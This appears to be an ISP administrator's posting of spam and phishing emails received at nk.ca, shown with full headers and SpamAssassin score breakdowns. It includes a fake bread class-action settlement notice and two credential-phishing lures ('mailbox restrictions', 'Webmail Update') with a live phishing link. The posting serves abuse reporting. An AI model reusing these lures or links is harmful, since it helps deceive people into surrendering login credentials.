[in dnsbl.ahbl.org]

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in dnsbl.ahbl.org]

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in dnsbl.ahbl.org]

[74.125.227.130 listed in dnsbl.ahbl.org]

[74.125.227.130 listed in dnsbl.ahbl.org]

[74.125.227.130 listed in dnsbl.ahbl.org]

[74.125.227.130 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in dnsbl.ahbl.org]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[74.125.227.130 listed in list.dnswl.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[74.125.227.130 listed in bl.score.senderscore.com]

1.0 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail)

1.0 FROM_FMBLA_NEWDOM From domain was registered in last 7 days

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[74.125.227.130 listed in wl.mailspike.net]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

Subject: {SPAM?} Mobile App- www.nk.ca ?



Hi,

Want to grow your business with a custom mobile app?

/>
I'd be happy to share our previous work and development packages.=



Thanks,

Juhi



Loblaw/Weston Packaged Bread Class Actions spam

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 27 Aug 2026 07:43:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzaNL-00000000Pqp-1FSC

for dave@doctor.nl2k.ab.ca;

Thu, 27 Aug 2026 07:42:39 -0600

Resent-From: The Doctor

Resent-Date: Thu, 27 Aug 2026 07:42:39 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from ak106.secure.ne.jp ([150.60.159.7]:28241 helo=mta.ak106.secure.ne.jp)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzaKp-00000000LBv-1Gmz

for doctor@nl2k.ab.ca;

Thu, 27 Aug 2026 07:40:11 -0600

Received: from ak106.secure.ne.jp (localhost [127.0.0.1])

by mta.ak106.secure.ne.jp (Postfix) with SMTP id BABE1238637

for ; Thu, 27 Aug 2026 22:39:12 +0900 (JST)

Received: (qmail 32910 invoked from network); 27 Aug 2026 22:39:12 +0900

Received: from unknown (HELO EC2AMAZ-3IGI63Q) (info@sanshiba-works.co.jp@56.155.40.70)

by 0 with SMTP; 27 Aug 2026 22:39:12 +0900

MIME-Version: 1.0

From: "Settlement Member Team"

To: doctor@nl2k.ab.ca

Date: 27 Aug 2026 13:39:12 +0000

Subject: =?utf-8?B?SW5mb3JtYXRpb24gQWJvdXQgdGhlIE9udGFyaW8gU2V0dGxl?=

=?utf-8?B?bWVudCA6IFJlZiBOb8K6IDE0NjA4ODc1NTcgLyA4LzI3LzIwMjYgMToz?=

=?utf-8?B?OToxMiBQTQ==?=

Content-Type: multipart/alternative;

boundary=--boundary_13013_450060a8-1ea3-49e7-862f-6e8f275af1ec

Message-Id: <20260827133912.BABE1238637@mta.ak106.secure.ne.jp>





Settlement Information

Packaged Bread Class Actions



Information Notice

2026

Important Settlement Information

Loblaw/Weston

Packaged Bread Class Actions



Version française suit plus bas.

Recipient Information

You are receiving this email because you were identified as having claimed a $100 to $200 Loblaw Card from the Packaged Bread Loblaw Card Program and/or as having registered with the lawyers handling this class action.

Legal Notice

Authorized by the Superior Court of Justice for Ontario

01



Nature of the Proceedings

Class actions have been certified/authorized by the Ontario Superior Court of Justice and the Superior Court of Quebec on behalf of individuals and businesses resident in Canada who purchased Packaged Bread alleging certain manufacturers and retailers engaged in anticompetitive conduct resulting in overcharges for Packaged Bread sold in Canada.

The Courts have not yet made any decision on the merits of the claims or the defences in either of the actions.

National Settlement

$500 Million

$96 million already paid

02



Settlement Terms

The Plaintiffs in the actions have entered into a national settlement with Loblaw/Weston for $500 million and their cooperation in pursuing claims against non-settling defendants in the continuing actions.

If the settlement is approved by the Courts in both actions, the net settlement funds, after approved fees and expenses, will be distributed to and for the benefit of Settlement Class Members in accordance with the applicable distribution protocol.

03



Settlement Class Eligibility

If you are resident anywhere in Canada except Quebec and purchased Packaged Bread between January 1, 2008 and December 31, 2025, inclusive, and wish to participate in the Loblaw/Weston Settlement, please review the official settlement information and eligibility requirements.

Review Official Information

Please review the official settlement materials, eligibility requirements and applicable deadlines.

Apply Now Appliquez

Before submitting any information

Verify the settlement administrator, court notice, claim deadline and official website before providing personal or financial information.

This communication contains settlement information. Please consult the official settlement materials for the authoritative terms, eligibility requirements and deadlines.



https://www.canadianbreadsettlement.ca/ | Unsubscribe

```





nk.ca credential phishing from sendgrid

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 27 Aug 2026 07:41:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzaLG-00000000LRk-0I52

for dave@doctor.nl2k.ab.ca;

Thu, 27 Aug 2026 07:40:30 -0600

Resent-From: The Doctor

Resent-Date: Thu, 27 Aug 2026 07:40:29 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from s.wfbtzbpn.outbound-mail.sendgrid.net ([159.183.235.50]:30198)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzTJo-00000000Cnm-00V6

for sales@nk.ca;

Thu, 27 Aug 2026 00:10:39 -0600

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=somnos.io;

h=from:subject:date:mime-version:to:content-type:

content-transfer-encoding:cc:content-type:date:from:subject:to;

s=s1; t=1787810919;

bh=8P5QuMWG2Dq+ASfMEsJ32MCNS1hZcCnuM8uhrKRP4pg=;

b=J5FN/UVIatUbYEy4+51FKMEGTedQd800glL6pOmtjluOLBU+Yvf5IKGZVQtMqKQz1w6w

9kZPtkD0jQvZ07HJrvMni6AUfhHq9Q0ESnGllFl3/Erf/oOoV91tVOK3HFw2eX3bXkE7HH

Dse9uYAuFcDT99RCT+S89qG+BMP/96FA+RUDGddbXaKcGxkcJgIeCakIsHSajqk8+7XdWc

ueFVfRwirr/ma7ythNefYGdCA8KBhNZFu6EB7mgeDYXjf41ZrO1luAYrO/xJy/fjjEreHN

By2i2uxoDab8s9QFOOOQDhg9nQtu7O/gpEgLcw4rv8YqTQipVDjCyXEdv8sb+Vyw==

Received: by recvd-f9d88545f-ncn8s with SMTP id recvd-f9d88545f-ncn8s-1-6A8FD467-1E

2026-08-27 06:08:39.326375834 +0000 UTC m=+2546110.260532015

Received: from mN.kAH-2iujA.blackdiamondbakers.com (unknown)

by geopod-ismtpd-canary-0 (SG) with ESMTP id 88ICCQ8TTxGAu70rBvJzZA

for ; Thu, 27 Aug 2026 06:08:39.212 +0000 (UTC)

From: Mailbox Security Center

Subject: =?UTF-8?B?4pqg77iPwqBVUkdFTlQ6?= Your mailbox sales@nk.ca has

restrictions

Date: Thu, 27 Aug 2026 06:08:39 +0000 (UTC)

Message-ID: <20260826230838.C30A103ADF3AF588@somnos.io>

MIME-Version: 1.0

X-SG-EID:

=?us-ascii?Q?u001=2EFblyso0qHiDCRpmhU9aC14Csj1eyvcWVFVO8WhhfYskV6Eh6G6kGzlabO?=

=?us-ascii?Q?8CzEqHqztOnj25DDV+jG9V2Nxi058oaeN15U8lM?=

=?us-ascii?Q?rrMSEGYg8Lk0=2FsnS7jnO8XjdxJZG2oECRokgkTy?=

=?us-ascii?Q?cywmxke+3a8Qq0hGhMYFNckrtM+fKCXbm=2FTIH=2FQ?=

=?us-ascii?Q?OAcqUzD+El+nFuQ13s0kbJOqj+ySIu=2FaDDDUyuq?=

=?us-ascii?Q?7sQnY3F8jSTW3LfHu9ejwgPFLwTzse+JNnbseQe?= =?us-ascii?Q?YTGa?=

To: sales@nk.ca

X-Entity-ID: u001.h+R5jKaxH6kkRSedfnwNjA==

Content-Type: text/html; charset=us-ascii

Content-Transfer-Encoding: quoted-printable

X-Spam_score: 23.9

X-Spam_score_int: 239

X-Spam_bar: +++++++++++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Secure Email Notification 🔐 SECURE NOTICE sales@nk.ca

• Maintenance



Content analysis details: (23.9 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[159.183.235.50 listed in will-spam-for-food.eu.org]

[159.183.235.50 listed in will-spam-for-food.eu.org]

[159.183.235.50 listed in will-spam-for-food.eu.org]

[159.183.235.50 listed in will-spam-for-food.eu.org]

[159.183.235.50 listed in will-spam-for-food.eu.org]

[159.183.235.50 listed in will-spam-for-food.eu.org]

[159.183.235.50 listed in will-spam-for-food.eu.org]

[159.183.235.50 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[159.183.235.50 listed in dnsbl.ahbl.org]

[159.183.235.50 listed in dnsbl.ahbl.org]

[159.183.235.50 listed in dnsbl.ahbl.org]

[159.183.235.50 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[159.183.235.50 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[159.183.235.50 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[159.183.235.50 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[159.183.235.50 listed in dnsbl.ahbl.org]

0.0 URIBL_RED Contains an URL listed in the URIBL redlist

[URI: somnos.io]

2.5 URIBL_DBL_SPAM Contains a spam URL listed in the DBL blocklist

[URI: somnos.io]

0.1 URIBL_CSS_A Contains URL's A record listed in the Spamhaus CSS

blocklist

[URI: somnos.io/34.149.118.57]

0.1 URIBL_SBL_A Contains URL's A record listed in the SBL blocklist

[URI: somnos.io/34.149.118.57]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

15 GR_DOMAIN_SENDGR1 Received contains spammer id (sendgr)

2.6 RCVD_IN_MSPIKE_L5 RBL: Very bad reputation (-5)

[159.183.235.50 listed in bl.mailspike.net]

1.1 URIBL_GREY Contains an URL listed in the URIBL greylist

[URI: sendgrid.net]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[159.183.235.50 listed in bl.score.senderscore.com]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 RCVD_IN_MSPIKE_BL Mailspike blacklisted

0.1 TO_IN_SUBJ To address is in Subject

Subject: {SPAM?} =?UTF-8?B?4pqg77iPwqBVUkdFTlQ6?= Your mailbox sales@nk.ca has

restrictions












.0">

Secure Email Notification






ont-family: "Segoe UI",Helvetica,Arial,sans-serif;'>


55); margin: 30px auto; border-radius: 12px; border-top-color: rgb(0, 91, 1=

61); border-top-width: 6px; border-top-style: solid; max-width: 560px; box-=

shadow: 0px 8px 24px rgba(0,0,0,0.06);" border=3D"0" cellspacing=3D"0" cell=

padding=3D"0">
































"color: rgb(0, 91, 161); letter-spacing: 1px; font-size: 20px; font-weight:=

600;">🔐 SECURE NOTICE

color: rgb(238, 242, 247); border-bottom-width: 1px; border-bottom-style: s=

olid;">
600;">sales@nk.ca
 
nt-size: 14px; margin-left: 8px;">• Maintenance







x;">Hello sales,






g: 14px 18px; border-radius: 8px; color: rgb(45, 63, 79); line-height: 1.6;=

font-size: 15px; border-left-color: rgb(0, 91, 161); border-left-width: 4p=

x; border-left-style: solid;">Action Required: Your mailbo=

x has a temporary restriction. Some messages are
192, 57, 43); font-weight: 600;">on hold
.





Click below to confirm your identity and restore full access.




















: 14px 44px; border-radius: 40px; border: 1px solid rgb(0, 74, 132); border=

-image: none; color: rgb(255, 255, 255); letter-spacing: 1px; font-size: 16=

px; font-weight: 600; text-decoration: none; display: inline-block; box-sha=

dow: 0px 4px 14px rgba(0,91,161,0.3);" href=3D"http://url865.somnos.io/ls/c=

lick?upn=3Du001.EPI5aO43JvUfb5nn-2FB3HJSi0gQW2S3Dr19PVsbWyklHyb4q4CSLsgdwtC=

GczCgYs4s3qWNKYldXFNjADYG4SLd78d3d-2BuVxt-2Fm96UAv7HXtWUPo71WgPIQ9H43ujEZiK=

OwmQ2KK02X7mXLdy-2BCVJ6oVwOmUJ-2Bw-2FBQE9DYLlKOk8-3DyP0C_6-2BBKni6sDtwyUScw=

4c6eaSsmvVCpLaX7mRKgcvl2E4hfPKNtIphTBWBkSJ6EUrnbvb7zGg9bbjoUQGSZg09fm9BijFh=

evEEmxzlvacBmgZCxkwPveS5I2tXokU0oZTZsJfFzYGZWHeD0pHyVflyQow-2Fm-2BhGnaXPCrN=

U5n-2BOWXOaVCh69ta8kZDSFMRDXQQlF">✓ Confirm Now







16px; font-size: 12px; margin-top: 22px; border-top-color: rgb(238, 242, 24=

7); border-top-width: 1px; border-top-style: solid;">⚠️ Auto-g=

enerated — do not reply  • 
t: 500;">Link expires in 24h



© 2026 =

SecureMail










PcQ2Z-2BeYO20LSiZ9ii6F7XOjLJbSwwdbmS0pRWoARrf-2B3cKvYgtD3Ni-2Fl5HYHmRY4NZxP=

xZoJ4j487t7YrB5Bu4OaRHxzfQ8tA9lBhorngxhQNiyJTdqj5ltP4qHZrO1x4760ORAu0Ve0wXZ=

pwRMYMFagnhiHFllDK0f97Um-2FrqQL-2FSFy8KmTUP7xHZ8gQMVoQ-3D-3D" alt=3D"" widt=

h=3D"1" height=3D"1" border=3D"0" style=3D"height:1px !important;width:1px =

!important;border-width:0 !important;margin-top:0 !important;margin-bottom:=

0 !important;margin-right:0 !important;margin-left:0 !important;padding-top=

:0 !important;padding-bottom:0 !important;padding-right:0 !important;paddin=

g-left:0 !important;"/>

nk.ca credential phishing from Google Gmail

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 27 Aug 2026 07:39:01 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzaJB-00000000Kx9-3Yo2

for dave@doctor.nl2k.ab.ca;

Thu, 27 Aug 2026 07:38:21 -0600

Resent-From: The Doctor

Resent-Date: Thu, 27 Aug 2026 07:38:21 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-wm1-f104.google.com ([209.85.128.104]:42383)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzTC1-00000000BHO-3hMo

for sales@nk.ca;

Thu, 27 Aug 2026 00:02:40 -0600

Received: by mail-wm1-f104.google.com with SMTP id 5b1f17b1804b1-495437bb891so3959825e9.1

for ; Wed, 26 Aug 2026 23:01:03 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=coachhousehq-com.20251104.gappssmtp.com; s=20251104; t=1787810456; x=1788415256; darn=nk.ca;

h=content-transfer-encoding:content-type:mime-version:message-id:date

:subject:to:from:from:to:cc:subject:date:message-id:reply-to

:content-type;

bh=fzaRM2c5V12etIlM+q/A8bOlKwGNrjomEKRdw+LxpsU=;

b=yNILCWbE/NXYfX3yfmpF6HPjjmxyyAbrp/LVA7n8m9DmbGKUHxFoWSE1bfVaHVjz/B

XwcSzR7Y8sPBPFxjjXw8rPP7paJrXdi6j5mJKBU5U+ZWGQaiMZLfN3pqotllVgZn9Ia4

BcyBjgg6VcrCKF+m9pS5AqitzE/VFNemUJCwu3BR8EPVMOORNnPziWQD/cv+Zu5D8Jz5

NfPFC6j4JfGqFhnIUm/zjuR67yZ1eUZWmQ+AbsWykvPBZbU/tvmoJUBWDto45C2xTIw+

9Vkf+NHdzJmccFpMoW2VV4OjqxidiRcNcwvVqMwm38XPFGOFlHvMih0UMXvCBz1/jKxj

HHFg==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1787810456; x=1788415256;

h=content-transfer-encoding:content-type:mime-version:message-id:date

:subject:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date

:message-id:reply-to:content-type;

bh=fzaRM2c5V12etIlM+q/A8bOlKwGNrjomEKRdw+LxpsU=;

b=Hy+5zoFf8enwRJG1aqjiAOWENLuVu92nrzVVVnWFrfuQvmaQtDVD0kzMt31mK3jh6q

MmxDQJLzH5jAggJWCfSA1ix5yECfRaHG7n2NcCN8eAsppcsy3NFUDhiT49DP7JQGiIcx

DwV6k6WYvOOqWlHGDvqkkUOtn0Udd//rWxE+/Lw6vexVgl2uhKJOhaVdYNG/fXxNi8si

QNdf1eGEB7cFWEP6x5NBuSTMWxTLg8setbmDPUoPHLS9m6/7EXjtciUnwM3MMwOYam31

2gw5HqwyFV4HNmiZ8Qym9ejQKnP/ceSn2wTWhl6ypieDLmAm+D+V5qU8Mf0SGePYeUXI

fk5w==

X-Gm-Message-State: AFuF++kVS1pHlcttl6KNjlT5ZwB7gt35n4BvEGPhEmLXSyxTbUaNkB9z

JplM3dTwxQgks94WSvnPJ29PMNq4EkrLytbnQxvLt3QnG9SRICwZQidR6/Zn6Pg4D8yG9LkfHSA

pu5FogdxFu0BZpqQ6aDkW2at8vfj5tIWrBjwyGMZfFIUrPBo=

X-Gm-Gg: AR+sD137K6YKRaCnbtGhlfFwmx02Se/zQg0Vgvquj0ebkfiUcQd80rr+bmJ94U4b72D

b7P5SPY3sAhgGpiXoQGsnywoutKFA0PMhXsTH1M7FyN38fx675CJg4AxSbnoAErNBtMWCiHfc0J

v6HlIv48kOh6yU0rx1TJKwgLZhNp+JDn7EItQJ78LS0/rtwgF5sn1ElNomqgwq8sE3YkysyeNz0

fb+FBjYpZ81H1vAyglmwuHV9AsADNbTGQCQ3D/XLOF9ZY5qafusYKb3QRbmcsD8tnvFy83rO6aD

1FtumzS9iMdzkBAg0ZVsOPok1nLL464GZokeLwWPDR1KCr8e1pu6hbhQLgBYIiWtRmh74afp8X/

2yefq

X-Received: by 2002:a05:600c:800f:b0:499:59fd:dbfc with SMTP id 5b1f17b1804b1-49b0dea9491mr41189535e9.1.1787810456643;

Wed, 26 Aug 2026 23:00:56 -0700 (PDT)

Received: from [102.134.21.38] ([102.134.21.38])

by smtp-relay.gmail.com with ESMTPS id 5b1f17b1804b1-49b4cf98e6asm3062245e9.9.2026.08.26.23.00.56

for

(version=TLS1_2 cipher=ECDHE-ECDSA-CHACHA20-POLY1305 bits=256/256);

Wed, 26 Aug 2026 23:00:56 -0700 (PDT)

X-Relaying-Domain: coachhousehq.com

From: Support Team

To: sales@nk.ca

Subject: Webmail Update: Action Required

Date: 27 Aug 2026 07:00:55 +0100

Message-ID: <20260827070055.526F13D3E76FA67D@coachhousehq.com>

MIME-Version: 1.0

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

X-Spam_score: 10.0

X-Spam_score_int: 100

X-Spam_bar: ++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Webmail Update Action required to continue service ! Action

Required



Content analysis details: (10.0 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[102.134.21.38 listed in will-spam-for-food.eu.org]

[102.134.21.38 listed in will-spam-for-food.eu.org]

[102.134.21.38 listed in will-spam-for-food.eu.org]

[102.134.21.38 listed in will-spam-for-food.eu.org]

[102.134.21.38 listed in will-spam-for-food.eu.org]

[102.134.21.38 listed in will-spam-for-food.eu.org]

[102.134.21.38 listed in will-spam-for-food.eu.org]

[102.134.21.38 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

[209.85.128.104 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[209.85.128.104 listed in dnsbl.ahbl.org]

[209.85.128.104 listed in dnsbl.ahbl.org]

[209.85.128.104 listed in dnsbl.ahbl.org]

[209.85.128.104 listed in dnsbl.ahbl.org]

[102.134.21.38 listed in dnsbl.ahbl.org]

[102.134.21.38 listed in dnsbl.ahbl.org]

[102.134.21.38 listed in dnsbl.ahbl.org]

[102.134.21.38 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[209.85.128.104 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[209.85.128.104 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[209.85.128.104 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[209.85.128.104 listed in dnsbl.ahbl.org]

3.6 RCVD_IN_SBL_CSS RBL: Received via a relay in Spamhaus SBL-CSS

[102.134.21.38 listed in zen.spamhaus.org]

1.5 RCVD_IN_SBL_XBL RBL: Received via a relay in Spamhaus SBL+XBL

[102.134.21.38 listed in sbl-xbl.spamhaus.org]

[102.134.21.38 listed in sbl-xbl.spamhaus.org]

1.5 RCVD_IN_CBL RBL: Received via a relay in cbl.abuseat.org

[Listed by XBL, see ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[209.85.128.104 listed in list.dnswl.org]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[209.85.128.104 listed in bl.score.senderscore.com]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[209.85.128.104 listed in wl.mailspike.net]

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.1 MXG_EMAIL_FRAG BODY: URI with email in fragment

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 NO_RDNS2 Sending MTA has no reverse DNS

0.0 GB_CUSTOM_HTM_URI Custom html uri

0.9 URI_PHISH Phishing using web form

Subject: {SPAM?} Webmail Update: Action Required












; text-align: center; color: rgb(63, 63, 70); text-transform: none; text-in=

dent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSyst=

emFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; font-size: 14px; =

font-style: normal; font-weight: 400; word-spacing: 0px; border-bottom-colo=

r: rgb(240, 243, 247); border-bottom-width: 1px; border-bottom-style: solid=

; white-space: normal; box-sizing: border-box;=20

orphans: 2; widows: 2; font-variant-ligatures: normal; font-variant-caps: n=

ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; =

text-decoration-style: initial; text-decoration-color: initial;'>


=3D"margin: 0px; padding: 0px; color: rgb(30, 42, 58); line-height: 1.2; le=

tter-spacing: -0.2px; font-size: 20px; font-weight: 600; box-sizing: border=

-box;">Webmail Update




rgb(94, 111, 141); font-size: 14px; font-weight: 400; box-sizing: border-b=

ox;">Action required to continue service



text-align: left; color: rgb(63, 63, 70); text-transform: none; text-indent=

: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFo=

nt, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; font-size: 14px; font=

-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; b=

ox-sizing: border-box; orphans: 2; widows: 2; font-variant-ligatures: norma=

l; font-variant-caps: normal;=20

-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-de=

coration-style: initial; text-decoration-color: initial;'>

lert-banner" style=3D"background: rgb(246, 249, 254); margin: 0px 0px 18px;=

padding: 12px 16px; border-radius: 10px; border-left-color: rgb(255, 108, =

44); border-left-width: 4px; border-left-style: solid; display: flex; box-s=

izing: border-box; align-items: center; gap: 12px;">


0px; padding: 0px; border-radius: 50%; width: 32px; height: 32px; color: r=

gb(255, 255, 255); font-size: 16px; font-weight: 700; display: flex; box-si=

zing: border-box; flex-shrink: 0; justify-content: center; align-items: cen=

ter;">!

0px; box-sizing: border-box;">


(30, 42, 58); font-size: 15px; font-weight: 600; box-sizing: border-box;">A=

ction Required

ing: 0px; color: rgb(94, 111, 141); font-size: 13px; -ms-word-break: break-=

all; box-sizing: border-box;">sales@nk.ca



: rgb(30, 42, 58); font-size: 15px; font-weight: 500; box-sizing: border-bo=

x;">Dear sales,

14px; padding: 0px; color: rgb(45, 58, 79); line-height: 1.5; font-size: 1=

4px; box-sizing: border-box;">


; box-sizing: border-box;">

We are enhancing our webmail platform for better performance and security. =

Please update your settings within 
n: 0px; padding: 0px; font-weight: bolder; box-sizing: border-box;">24 hour=

s
 to avoid interruptions.




olor: rgb(45, 58, 79); line-height: 1.5; font-size: 14px; box-sizing: borde=

r-box;">

If =

you have questions, our support team is ready to help.




px; border-top-color: rgb(233, 237, 242); border-top-width: 1px; border-top=

-style: solid; box-sizing: border-box;">


px; color: rgb(45, 58, 79); line-height: 1.5; font-size: 14px; box-sizing: =

border-box;">Best regards,

g: border-box;">


2, 58); font-weight: 600; box-sizing: border-box;">nk.ca Support

=




in: 0px; padding: 14px 20px 12px; text-align: center; color: rgb(63, 63, 70=

); text-transform: none; text-indent: 0px; letter-spacing: normal; font-fam=

ily: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Aria=

l, sans-serif; font-size: 14px; font-style: normal; font-weight: 400; word-=

spacing: 0px; border-top-color: rgb(233, 237, 242); border-top-width: 1px; =

border-top-style: solid; white-space: normal;=20

box-sizing: border-box; orphans: 2; widows: 2; font-variant-ligatures: norm=

al; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decorat=

ion-thickness: initial; text-decoration-style: initial; text-decoration-col=

or: initial;'>


, 123, 150); font-size: 12px; box-sizing: border-box;">© 2026 nk.ca. A=

ll rights reserved.




px; display: flex; box-sizing: border-box; flex-wrap: wrap; justify-content=

: center; gap: 6px 14px;">
px; box-sizing: border-box;">Unsubscribe  Preferences

v>

X/Twitter credential phish from messagelabs

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

